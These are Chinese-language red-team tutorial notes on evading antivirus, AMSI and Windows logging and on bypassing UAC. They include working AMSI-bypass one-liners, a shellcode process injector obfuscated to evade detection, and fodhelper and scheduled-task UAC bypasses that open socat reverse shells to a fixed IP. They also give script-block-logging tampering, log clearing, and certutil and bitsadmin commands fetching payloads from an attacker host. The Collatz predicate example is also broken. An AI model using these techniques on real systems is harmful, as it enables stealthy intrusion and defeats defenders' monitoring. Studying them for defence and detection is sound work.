防病毒 ( AV ) 软件是额外的安全层,旨在检测并防止目标操作系统中恶意文件的执行和传播。它是一个基于主机的应用程序,实时(在后台)运行以监视和检查当前和新下载的文件。反病毒软件使用不同的技术检查并确定文件是否是恶意的
AV引擎负责查找并删除恶意代码和文件。好的反病毒软件实现了有效且可靠的反病毒核心,可以准确、快速地分析恶意文件。它可以处理和支持各种文件类型,包括存档文件,可以自解压和检查所有压缩文件。
大多数AV产品具有相同的共同功能,但实现方式不同,包括但不限于:
AV产品通常包含扫描仪功能:AV 软件实时或按需运行和扫描。此功能可在 GUI 中或通过命令提示符使用。用户可以在需要检查文件或目录时使用它。扫描功能必须支持最知名的恶意文件类型才能检测和消除威胁。此外,根据反病毒软件的不同,它还可能支持其他类型的扫描,包括漏洞、电子邮件、Windows内存和Windows注册表。
AV检测技术搜索并检测恶意文件;AV 引擎中可以使用不同的检测技术,包括:
“压缩器和档案”功能应该包含在任何AV软件中。它必须支持并能够处理各种系统文件类型,包括压缩或存档文件:ZIP、TGZ、7z、XAR、RAR 等。恶意代码通常试图通过隐藏在压缩文件中来逃避基于主机的安全解决方案。 因此,在用户打开存档中的文件之前,反病毒软件必须解压缩并扫描所有文件。
模拟器是一种防病毒功能,可对可疑文件进行进一步分析。一旦模拟器收到请求,模拟器就会在虚拟化和受控环境中运行可疑文件(exe、DLL、PDF 等)。它监视可执行文件在执行过程中的行为,包括 Windows API 调用、注册表和其他 Windows 文件。以下是模拟器可能收集的工件的示例:
当收集到足够的工件来检测恶意软件时,模拟器会停止文件的执行。
以下是AV产品的一些常见功能:
AV检测可以分为三种主要方法:
静态检测技术是最简单的防病毒检测类型,它基于恶意文件的预定义签名。简而言之,它在检测中使用模式匹配技术,例如查找唯一字符串、CRC(校验和)、字节码/十六进制值序列和加密哈希(MD5、SHA1 等)。
然后,它在操作系统内的现有文件与签名数据库之间执行一组比较。如果数据库中存在该签名,则认为该签名是恶意的。此方法对静态恶意软件有效。
值得注意的是,该技术仅适用于具有数据库中预先生成的签名的已知恶意文件。因此,数据库需要不时更新。
基于签名的检测的缺点是, 如果二进制文件被修改,文件将具有不同的哈希值。那么很容易绕过基于签名的检测技术。
动态检测方法比静态检测更先进、更复杂。动态检测更侧重于使用不同方法在运行时检查文件。下图为动态检测扫描流程:
第一种方法是通过监视 Windows API。检测引擎检查 Windows 应用程序调用并使用 Windows Hooks监视 Windows API 调用。
另一种动态检测方法是沙盒。沙箱是一种虚拟化环境,用于运行与主机分离的恶意文件。这通常是在隔离环境中完成的,主要目标是分析恶意软件在系统中的行为方式。一旦恶意软件被确认,将根据二进制文件的特征创建唯一的签名和规则。最后,新的更新将被推送到云数据库中以供将来使用。
缺点是:恶意软件开发人员将其软件设置为不在虚拟或模拟环境中运行,以避免动态分析
现代反病毒软件依靠这种类型的检测来检测恶意软件。启发式分析使用各种技术,包括静态和动态启发式方法:
以下是行为规则的示例:
下图显示了启发式和行为检测扫描流程:
现代反病毒软件如何作为一个单元(包括所有组件)工作,并结合各种功能和检测技术来实现其反病毒引擎。以下是防病毒引擎的组件示例:
在图中可以看到 可疑的Foobar.zip文件被传递到AV软件进行扫描。AV 软件识别出这是一个压缩文件 (.zip)。由于该软件支持 .zip 文件,因此它取消存档功能来提取文件 ( Foobar.exe )。接下来,它识别文件类型以了解要使用哪个模块,然后执行 PE 解析操作以提取二进制文件的信息和其他特征。接下来,它检查文件是否被加壳;如果是,它会解压代码。 最后,它将收集到的信息和二进制文件传递给反病毒引擎,在那里它尝试检测它是否是恶意的并给我们结果。
VirusTotal 是一个著名的基于网络的扫描平台,用于检查可疑文件。它允许用户上传要使用 70 多个防病毒检测引擎进行扫描的文件。VirusTotal 将上传的文件传递给防病毒引擎进行检查,返回结果,并报告是否是恶意的。应用了许多检查点,包括检查列入黑名单的 URL 或服务、签名、二进制分析、行为分析以及检查 API 调用。此外,二进制文件将在模拟和隔离的环境中运行和检查,以获得更好的结果。
访问地址:
https://www.virustotal.com/
VirusTotal 是一个方便的扫描平台,具有强大的功能,但它有一个共享策略。所有扫描结果都将传递并与防病毒供应商共享,以改进他们的产品并更新已知恶意软件的数据库。作为红队队员,这会烧毁您在交战中使用的投掷器或有效载荷。
出于这些原因,仅在不共享信息的网站上测试恶意文件:
https://antiscan.me/
https://virusscan.jotti.org/
旦我们获得了对目标机器的初始访问权限,我们就不知道有哪些反病毒软件。因此,查找并识别安装了哪些基于主机的安全产品(包括 AV 软件)非常重要。
知名且常用的反病毒软件:
简单来说混淆用于保护知识产权,应用程序的专有信息,但是反过来利用这点,可以避免AV软件的检测
为了逃避签名,攻击者可以利用广泛的逻辑和语法规则来实施混淆。通常有以下方法:
混淆法 目的
数组变换 通过拆分、合并、折叠和展平来转换数组
数据编码 使用数学函数或密码对数据进行编码
数据程序化 用过程调用替换静态数据
数据分割/合并 将一个变量的信息分配到多个新变量中
例如:通过一个完整的字符串分割成两个部分,以连接的方式来合成一个对象。可以利用这种方式绕过敏感关键字的静态检验。
一些常见语言及其相应预定义运算符的小表
语言 串联运算符
Python “+”
PowerShell “+”, ”,”, ”$”, or no operator at all
C# “+”, “String.Join”, “String.Concat”
C “strcat”
C++ “+”, “append”
还可以利用的一些常见的非解释字符,进行字符串连接:
语言 作用 例子
C# 重新排序字符串的组件 ('{1}{0}'-f'ffee','co')
// -f是插值运算符,'ffee'和'co'是要插入的表达式,"{1}{0}"表示待插入的字符串模板 ==> coffe
C# 包含未解释的空白 .( 'Ne' +'w-Ob' + 'ject')
//它将字符串"Ne"、"w-Ob"和"ject"拼接在一起,得到最终的结果 ==> New-Object
C# 包括未解释的刻度 d`own`LoAd`Stri`ng
//使用反引号 ` 将特定的字符组合起来,==> downLoadString
其他 任意大小写 dOwnLoAdsTRing
这里以混淆 Powershell代码,直到逃避 Denfender的检测
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
首先执行一部分的代码片段,观察一些返回的结果
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
经过分析,发现前面的字符都没有问题,那应该就是最后一个字符被 Defender检测到了 “AmsiUtils”
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils')
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic')
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$a="SetValue"
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic').$a($null,$true)
在混淆恶意代码的基本功能后,它可能能够通过软件检测,但仍然容易受到人类分析,分层混淆分类法如下:
混淆法 目的
垃圾代码 添加无用的垃圾指令,也称为代码存根
相关代码的分离 将相关代码或指令分开,增加程序阅读难度
去除冗余符号 剥离符号信息,例如调试信息或其他符号表
无意义的标识符 将有意义的标识符转换为无意义的标识符
隐式控制 将显式控制指令转换为隐式指令
基于调度程序的控制 确定运行时期间要执行的下一个块
概率控制流 引入具有相同语义但不同语法的控制流复制
虚假控制流 控制流故意添加到程序中但永远不会被执行
控制流是程序执行的关键组成部分,逻辑是应用程序控制流最重要的决定因素之一
一些逻辑语句:
逻辑语句 作用
if/else 仅当满足条件时才执行,否则将执行不同的代码块
try/catch 如果无法处理错误,将尝试执行代码块并捕获它。
switch case switch将遵循与 if 语句类似的条件逻辑,但在解析为中断或默认之前,会使用case检查几种不同的可能条件
for/while for循环将执行一定量的条件。while循环将执行,直到不再满足条件。
在处理控制流时,攻击者的目标是引入足够多的晦涩且任意的逻辑来迷惑分析人员。
用数学、逻辑和/或其他复杂算法将不同的控制流注入恶意函数中。我们可以利用 谓词来设计这些复杂的逻辑和/或数学算法。谓词是指输入函数返回true或 false的决策 。Collat z 猜想是一个常见的数学问题,可以用作不透明谓词的示例。它指出:如果重复两个算术运算,它们将从每个正整数中返回一个。事实上,我们知道对于已知输入(正整数)它总是会输出一个,这意味着它是一个可行的不透明谓词。
Collatz 问题:
https://mathworld.wolfram.com/CollatzProblem.html
示例代码:
x = 0
while(x > 1):
if(x%2==1):
x=x*3+1
else:
x=x/2
if(x==1):
print("hello!")
如果x是大于1的正整数,那么x始终等于0,否则它将不会输出 hello!
可识别信息可能是分析人员可以用来剖析和尝试理解恶意程序的最关键组件之一。通过限制可识别信息的数量(变量、函数名称等),分析人员可以使攻击者更有可能无法重建其原始函数。
例如这段还未混淆的C++编写的进程注入器:
#include "windows.h"
#include
#include
using namespace std;
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
string leaked = "This was leaked in the strings";
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
cout << "Handle obtained for" << processHandle;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
cout << "Buffer Created";
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
cout << "Process written with buffer" << remoteBuffer;
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
cout << "Closing handle" << processHandle;
cout << leaked;
return 0;
}
如果需要混淆,首先需要关注毫无用处的字符串输出,还有就是程序的对象变量需要更改,避免被识别。
删除打印的文本语句,C++ 的输出流 cout 是来打印文本和句柄的值。
#include "windows.h"
#include //用于输入输出操作,用cout打印输出到控制台
#include //定义了一些与字符串相关的功能
using namespace std; //进行Windows编程和字符串操作
int main(int argc, char* argv[])
{
unsigned char shellcode[] = "";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
#include "windows.h"
int main(int argc, char* argv[])
{
unsigned char sc[] = "";
HANDLE ph;
HANDLE rd;
PVOID rr;
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
rr = VirtualAllocEx(ph, NULL, sizeof sc, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rr, sc, sizeof sc, NULL);
rd = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rr, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
即使使用了一些最常见的混淆或规避技术 ,恶意文件中的签名可能仍然存在。为了对抗持久签名,我们可以单独观察每个签名并根据需要对其进行处理。
AMSI 利用运行时,使签名更难以识别和解析,它支持的PowerShell。利用 AMSI 引擎并针对提供的PowerShell脚本扫描功能,并报告它认为需要发出警报的任何特定代码部分。
工具下载地址:
https://github.com/RythmStick/AMSITrigger/releases
AMSITrigger -i file_name -f 3
分层混淆分类法涵盖了作为混淆方法和混淆类层一部分的最可靠的解决方案。
混淆法 目的
方法代理 创建代理方法或替换对象
方法分散/聚合 将多种方法合并为一种方法或将一种方法分散为多种方法
方法克隆 创建方法的副本并随机调用每个方法
混淆法 目的
类层次结构扁平化 使用接口为类创建代理
类拆分/合并 将局部变量或指令组传输到另一个类
删除修饰符 删除类修饰符(公共、私有)并使所有成员成为公共
下面是检测到的原始字符串
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
下面是用于替换和连接字符串的新类。
public static string GetMessageFormat //格式化公共方法
{
get // Return the property value
{
var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // 启动内置的串联方法
sb.Append(@"""Type"":{1},"); // 将子字符串附加到字符串上
sb.Append(@"""Meta"":""{2}"",");
sb.Append(@"""IV"":""{3}"",");
sb.Append(@"""EncryptedMessage"":""{4}"",");
sb.Append(@"""HMAC"":""{5}""}}");
return sb.ToString(); // 将连接后的字符串返回给类
}
}
string MessageFormat = GetMessageFormat
通常是文件的属性,可以尝试进行修改,避免检测
混淆函数和属性可以通过最少的修改实现很多效果。即使在破坏附加到文件的静态签名之后,现代引擎仍然可以观察二进制文件的行为和功能。
API 调用和操作系统本机的其他函数需要指向函数地址的指针和使用它们的结构。函数的结构简单;它们位于 导入库中,例如kernel32或 ,ntdll它们存储 Windows 的函数结构和其他核心信息。函数导入最重要的问题是函数地址。获取指针可能看起来很简单,但由于ASLR(地址空间布局R随机化) ,函数地址是动态的并且必须找到。
使用Windows 加载程序 ,而不是在运行时更改代码。windows.h在运行时,加载程序会将所有模块映射到进程地址空间并列出每个模块的所有函数。它处理模块,但是函数地址是如何分配的呢?
Windows 加载程序最关键的功能之一是IAT (导入地址表)。IAT将存储所有可以为函数分配指针的导入函数的函数地址。
IAT 存储在PE(可移植可执行文件)标头中IMAGE_OPTIONAL_HEADER,并由 Windows 加载程序在运行时填充。Windows 加载程序从指针表获取函数地址
为了防止我们的函数出现在IAT中,我们还可以利用 API 调用从导入库本身获取函数地址。此技术称为动态加载,可用于避免 IAT 并最大限度地减少 Windows 加载程序的使用。
将编写结构并为函数创建新的任意名称以采用动态加载。
在较高的层次上,我们可以将 C 语言中的动态加载分为四个步骤:
typedef BOOL (WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");
混淆以下 C 代码片段:
#include
#include
#include
int main() {
printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
if (GetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}
===》
#include
#include
#include
typedef BOOL (WINAPI* notname)(LPSTR lpBuffer, LPDWORD nSize);
int main() {
HMODULE add = LoadLibraryA("kernel32.dll");
notname hihi = (notname) GetProcAddress(add, "GetComputerNameA");
CHAR coucou[260];
DWORD coul = 260;
if (hihi(coucou, &coul)) {
printf("hostname: %s\\n", coucou);
}
}
用户帐户控制 ( UAC ) 是一项 Windows 安全功能,默认情况下强制任何新进程在非特权帐户的安全上下文中运行。此策略适用于任何用户(包括管理员本身)启动的进程。当用户 决定启动恶意应用程序并且禁用UAC ,则恶意应用程序将立即获得管理员权限。相反,当启用 UAC 时,恶意应用程序将被限制为非管理访问令牌
如果管理员需要执行特权任务,UAC提供了一种提升权限的方法。提升的工作原理是向用户显示一个简单的对话框,以让用户批准是否执行特权:
UAC是一种强制完整性控制 (MIC),它是一种允许通过为每个用户、进程和资源分配完整性级别 (IL)来区分用户、进程和资源的机制。一般来说,具有较高 IL 访问令牌的用户或进程将能够访问具有较低或相同 IL 的资源。MIC 优先于常规 Windows DACL
Windows 使用以下 4 个 IL,按从低到高的顺序排列:
诚信等级 使用
Low 一般用于与 Internet(即 Internet Explorer)交互。权限非常有限。
Medium 分配给标准用户和管理员的过滤令牌。
High 如果启用了UAC,则由管理员提升的令牌使用。如果禁用 UAC,所有管理员将始终使用高 IL 令牌。
System 保留供系统使用。
当进程需要访问资源时,它将继承调用用户的访问令牌及其关联的 IL。如果一个进程分叉一个子进程,也会发生同样的情况。
为了实现这种角色分离,UAC在登录期间以稍微不同的方式对待普通用户和管理员:
右键运行程序时,进行选择运行方式
process hacker下载地址:
https://processhacker.sourceforge.io/downloads.php
双击该工具,下滑可以看见两个不同的IL等级:
中 IL 进程实际上被拒绝与成为管理员组的一部分相关的任何特权。
win + r 输入control 打开控制面板,然后如图点击 用户账户
然后再次点击用户账户
最后如图进行点击
根据我们的安全要求,UAC可以配置为在四种不同的通知级别运行:
默认情况下,UAC配置为 “仅当应用尝试对我的计算机进行更改时通知我”级别:
从攻击者的角度来看,三个较低的安全级别是等效的,只有“始终通知”设置存在差异。
UAC的核心是应用程序信息服务或Appinfo。每当用户需要提升权限时,就会发生以下情况:
当获取到Windows的远程shell的时候,绕过UAC为 Medium ,那么意味着使用着过滤后的令牌。它将不能执行一些相关的特权命令
当 win + r 输入 msconfig时,使用 Process Hacker 分析 msconfig进程,可以发现即使没有显示UAC提示,但是mscofnig进程也是作为高IL进程运行.
我们可以强制 msconfig 为我们生成一个 高IL 的shell,该shell将继承父进程的相同的访问令牌。如图来到工具选项卡,然后选择对应的选项,最后再点击运行
这时候就获取到一个高IL令牌
与 msconfig 一样,azman.msc 将自动提升,无需用户交互。首先 win + r 输入 azman.msc,然后如图进行点击
在帮助页面,右键文章空白的地方,然后点击查看源码
这将生成一个记事本进程,我们可以利用它来获取 shell,“文件- >打开文件”,然后找到cmd.exe程序,然后右键运行即可
可以看见成功获取到 高IL
打开 Process Hacker进行分析,可以发现mmc.exe 进程下的都是高IL
某些可执行文件可以自动提升,无需任何用户干预即可实现高 IL。这适用于控制面板的大部分功能和 Windows 提供的一些可执行文件。
对于应用程序,需要满足一些要求才能自动提升:
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
true
true
sigcheck工具下载:
https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck
https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
win + r 输入 fodhelper.exe
fodhelper 可以在无法访问 GUI 的情况下被滥用。fodhelper 会在注册表中搜索感兴趣的特定密钥:
当 Windows 打开文件时,它会检查注册表以了解要使用的应用程序。注册表为每个文件类型保存一个称为程序 ID ( ProgID ) 的密钥,其中关联了相应的应用程序。
Computer\HKEY_CLASSES_ROOT\htmlfile\shell\open\command
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP::4444 EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings\ /f
速度竞争:
C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP::4444 EXEC:cmd.exe,pipes"
C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.
C:\> reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
fodhelper 可能会在AV启动之前执行,给您一个反向 shell。但是不可靠
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:10.9.91.80:4444 EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value "$program" -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
reg delete "HKCU\Software\Classes\.pwn\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f
在默认 Windows 配置上,我们可以滥用与系统配置相关的应用程序来绕过UAC,如果 UAC 配置为“始终通知”级别,fodhelper 和类似的应用程序将没有任何用处,因为它们将要求用户通过 UAC 提示来提升。这将阻止使用几种已知的绕过方法。
打开任务计划程序
来到这里可以看见,“以最高权限运行”选项将使用调用用户可用的最高权限安全令牌,这对于管理员来说是一个高 IL 令牌。
在这里可以发现,该命令取决于环境变量,因此我们可以通过它们注入命令并通过手动启动 DiskCleanup 任务来执行它们。
我们可以替换 %windir% 的环境变量为以下:
"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM "
相当于该计划任务,后面的内容都被注释了,只剩下恶意命令
cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%
写入有效载荷放入 %windir% 中
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:10.9.91.80:4446 EXEC:cmd.exe,pipes &REM " /f
执行计划任务,/I 代表当前用户界面交互式
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
返回4446监听端口,可以看见成功接收到高IL的shell
清除痕迹
reg delete "HKCU\Environment" /v "windir" /f
有一个出色的工具可用于测试UAC绕过,而无需从头开始编写漏洞利用程序。下载地址:
https://github.com/hfiref0x/UACME
使用方法:指定编号即可
UACME-Akagi64.exe 33
方法编号 旁路技术
33 fodhelper.exe
34 磁盘清理计划任务
70 使用 CurVer 注册表项的 fodhelper.exe
关于其他的UAC技术,可以参考这些:
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://elastic.github.io/security-research/whitepapers/2022/02/03.exploring-windows-uac-bypass-techniques-detection-strategies/article/
https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html
当执行代码或应用程序时,无论解释器如何,它几乎总是会流经运行时。运行时检测措施将在运行时执行之前扫描代码并确定其是否是恶意的。根据其背后的检测措施和技术,此检测可以基于字符串签名、启发式或行为。如果代码被怀疑是恶意的,则会为其分配一个值,如果在指定范围内,它将停止执行,并可能隔离或删除文件/代码。
AMSI(反恶意软件接口)是一项PowerShell安全功能,允许任何应用程序或服务直接集成到反恶意软件产品中 。
有关 AMSI 的更多信息:
https://docs.microsoft.com/en-us/windows/win32/amsi/
AMSI 将根据监控和扫描的响应代码确定其操作。以下是响应代码的列表:
这些响应代码只会在 AMSI 后端或通过第三方实施报告。
AMSI 完全集成到以下 Windows 组件中:
作为攻击者,当针对上述组件,我们在执行代码或滥用组件时需要注意 AMSI 及其实现。
大多数PowerShell会话将从最新的 PowerShell 引擎开始,但攻击者可以通过一行代码手动更改版本。通过将 PowerShell 版本“降级”到 2.0,我们可以绕过安全功能,因为这些功能直到版本 5.0 才实现。
使用以下代码即可:
PowerShell -Version 2
https://github.com/trustedsec/unicorn
蓝队有多种方法可以检测和减轻这种攻击,两个最简单的缓解措施是从设备中删除PowerShell 2.0 引擎并通过应用程序阻止列表拒绝对 PowerShell 2.0 的访问。
反射允许用户或管理员访问.NET 程序集并与之交互。根据 Microsoft 文档,“程序集构成了基于 .NET 的应用程序的部署、版本控制、重用、激活范围和安全权限的基本单元。” .NET 程序集可能看起来很陌生;然而,我们可以通过知道它们以熟悉的格式形成,例如exe(可执行文件)和dll(动态链接库 )来使它们更加熟悉。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
攻击者可以使用其他自动化工具来破坏 AMSI 签名或编译绕过:
使用powershell代码在网站进行编码即可
http://amsi.fail/
攻击者路径中最大的障碍之一是日志记录和监控。与防病毒和EDR(端点检测和响应)解决方案不同,日志记录创建可以分析恶意活动的物理活动记录。
如何监控设备将取决于公司的环境和偏好。团队可能决定根本不监控某些设备。通常,监控解决方案将从主机设备开始,收集应用程序或事件日志。创建日志后,它们可以保存在设备上或发送到事件收集器/转发器。一旦它们离开设备,防御团队就会决定如何聚合它们;这通常是使用索引器和SIEM(安全信息和事件管理器)来完成的。
一旦从设备上获取日志,攻击者可能没有太多控制权,但可以控制设备上的内容以及获取日志的方式。攻击者的主要目标是事件日志,由ETW ( E vent T racing for Windows ) 管理和控制。
Windows 中的几乎所有事件日志记录功能都是由 ETW 在应用程序和内核级别处理的。虽然还有事件日志记录和跟踪日志记录等其他服务,但这些服务要么是 ETW 的扩展,要么对攻击者来说不太常见。
成分 目的
(控制器)Controllers 构建和配置会话
(供应商)Providers 生成事件
(消费者)Consumers 解读事件
遵循安全最佳实践,现代环境通常采用日志转发。日志转发意味着SOC将日志从主机移动或“转发”到中央服务器或索引器。即使攻击者可以从主机中删除日志,它们也可能已经脱离设备并受到保护。
如果我们在转发日志之前,删除了所有日志。如果没有来自设备的日志,则可能会引起严重怀疑并导致调查。即使攻击者确实控制了删除和转发的日志,防御者仍然可以跟踪篡改行为。
事件ID 作用
1102 清除 Windows 安全审核日志时记录
104 清除日志文件时记录
1100 Windows 事件日志服务关闭时记录
上述事件ID可以监控销毁日志或“日志粉碎”的过程。这给试图篡改或破坏日志的攻击者带来了明显的风险。尽管可以进一步绕过这些缓解措施或篡改日志,但我们必须评估风险。在接近某个环境时,通常不了解安全实践,并且尝试此方法会带来OPSEC(操作安全)风险。
ETW 分为三个独立的组件,共同管理和关联数据。Windows 中的事件日志与通用XML数据没有什么不同,因此易于处理和解释。
事件控制器用于构建和配置会话。为了扩展这个定义,我们可以将控制器视为决定数据如何流动以及流向何处的应用程序。
具体可以参考官文文档:
https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
事件提供者用于生成事件。为了扩展这个定义,控制器将告诉提供者如何操作,然后从其指定源收集日志。还有四种不同类型的提供商,支持各种功能和遗留系统:
提供者 目的
MOF(托管对象格式)_ _ 定义 MOF 类的事件。一次由一个跟踪会话启用。
WPP(Windows软件跟踪预处理器) 与TMF (Trace Message Format )文件关联 以解码信息。 一次由一个跟踪会话启用。
基于清单的 定义清单中的事件。一次最多可启用八个跟踪会话。
跟踪记录 包含所有必需信息的自描述事件。一次最多可启用八个跟踪会话。
// 官方文档
https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers
事件消费者用于解释事件。为了扩展这个定义,消费者将选择会话并同时解析该会话或多个会话中的事件。消费者可以同时从多个事件跟踪会话请求事件;系统按时间顺序传递事件。消费者可以接收存储在日志文件中的事件,或者从实时传送事件的会话中接收事件。
这些组件中的每一个都可以组合在一起,以充分理解和描述 ETW 中的数据/会话流
从开始到结束,事件均源自提供者。控制器将确定数据发送到何处以及如何通过会话进行处理。消费者将保存或传送日志以供解释或分析。
了解了 ETW 是如何检测的,在保持完整性的同时限制可见性的目标。我们可以通过定位组件来限制洞察力的特定方面,同时维护大部分数据流。下面是针对每个 ETW 组件的特定技术的简短列表:
成分 技巧
提供者 PSEtwLogProvider 修改、组策略接管、日志管道滥用、类型创建
控制器 修补 EtwEventWrite、运行时跟踪篡改、
消费者 日志粉碎、日志篡改
脚本块日志记录将记录PowerShell会话中执行的任何脚本块。ETW 提供程序在 PowerShell v4 中引入并在 PowerShell v5 中改进,它有两个要报告的事件 ID。
事件ID 目的
4103 记录命令调用
4104 记录脚本块的执行
查找 4103事件ID的数量
Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4103} | Measure | % Count
通过powershell反射,执行脚本
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static');
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null);
If ($GroupPolicyCache['ScriptBlockLogging']) {
$GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
$GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new();
$val.Add('EnableScriptBlockLogging', 0);
$val.Add('EnableScriptBlockInvocationLogging', 0);
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val
};
打开日志管理器
如图进行清除日志
然后来到这个目录下,找到powershell,删除日志并且关闭日志启用
这个名字取自现实生活,靠吃土地上现有的食物为生。同样,对手和恶意软件创建者也会利用目标计算机的内置工具和实用程序。
这些内置工具在目标系统或网络功能内执行各种常规活动,主要想法是使用 Microsoft 签名的程序、脚本和库来融入和逃避防御控制。红队成员不希望在对目标执行交战活动时被发现,因此使用这些工具可以更安全地保持隐秘性。
以下是靠土地生活的一些类别:
LOLBAS 代表 Living Off the L and B inaries And S cripts,该项目的 主要目标是收集和记录用作 Living Off the Land 技术的 Microsoft 签名和内置工具,包括二进制文件、脚本和库。
洛巴斯项目是一个社区驱动的存储库,收集了可用于红队目的的二进制文件、脚本、库的集合。它允许基于二进制文件、函数、脚本和 ATT&CK 信息进行搜索。下面是网址:
https://lolbas-project.github.io/
Certutil 是一个用于处理认证服务的 Windows 内置实用程序。它用于转储和显示证书颁发机构 (CA) 配置信息和其他 CA 组件。因此,该工具的正常用途是检索证书信息。但是它还可以下载web服务器的文件:
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
编码文件:
certutil -encode payload.exe Encoded-payload.txt
解码文件:
certutil -decode Encoded_file payload.txt
certutil的官方文档:
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
Bitsadmin 工具 是一个系统管理员实用程序。用法如下:
bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
是 Microsoft 内置工具,用于查找文件中的文本和字符串模式。使用 findstr.exe从网络内的SMB共享文件夹下载远程文件:
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
该技术称为 “签名二进制代理执行” 或 “间接命令执行”,攻击者利用其他系统工具生成恶意负载。这种技术还有助于逃避防守控制。
